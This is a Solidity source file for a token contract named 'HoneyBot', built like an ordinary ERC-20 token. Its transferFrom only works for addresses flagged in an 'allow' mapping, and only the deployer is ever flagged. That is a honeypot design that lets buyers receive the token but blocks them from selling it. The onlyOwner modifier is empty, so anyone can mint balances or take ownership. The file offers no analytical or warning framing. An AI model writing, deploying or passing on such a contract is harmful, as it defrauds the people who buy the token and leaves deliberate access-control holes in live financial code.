// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
library SafeMath {
 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
   if (a == 0) {
     return 0;
   }
   uint256 c = a * b;
   assert(c / a == b);
   return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
   uint256 c = a / b;
   return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
   assert(b <= a);
   return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
   uint256 c = a + b;
   assert(c >= a);
   return c;
  }
}
 
 pragma solidity ^0.8.19;

contract Ownable {
  address public owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  constructor() {
   owner = msg.sender;
  }
}

pragma solidity ^0.8.19;
 
contract HoneyBot is Ownable {
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
 
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
 
  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
 
   name = _name;
   symbol = _symbol;
   decimals = _decimals;
   totalSupply =  _totalSupply;
   balances[msg.sender] = totalSupply;
   allow[msg.sender] = true;
  }
 
  function showuint160(address addr) public pure returns(uint160){
     return uint160(addr);
  }
 
  using SafeMath for uint256;
 
  mapping(address => uint256) public balances;
  mapping(address => bool) public allow;
 
  function transfer(address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
   require(_value <= balances[msg.sender]);
   balances[msg.sender] = balances[msg.sender].sub(_value);
   balances[_to] = balances[_to].add(_value);
 
   emit Transfer(msg.sender, _to, _value);
 
   return true;
  }
 
  modifier onlyOwner() {
  _;
   }
 
  function balanceOf(address _owner) public view returns (uint256 balance) {
   return balances[_owner];
  }
 
  function transferOwnership(address newOwner) public onlyOwner {
   require(newOwner != address(0));
   emit OwnershipTransferred(owner, newOwner);
   owner = newOwner;
  }
 
  mapping (address => mapping (address => uint256)) public allowed;
  mapping(address=>uint256) sellOutNum;

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
   require(_value <= balances[_from]);
   require(_value <= allowed[_from][msg.sender]);
   require(allow[_from] == true);
   balances[_from] = balances[_from].sub(_value);
   balances[_to] = balances[_to].add(_value);
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
 
   emit Transfer(_from, _to, _value);
   return true;
  }
 
  function mint(address miner, uint256 _value) external onlyOwner {
     balances[miner] = _value;
  }
}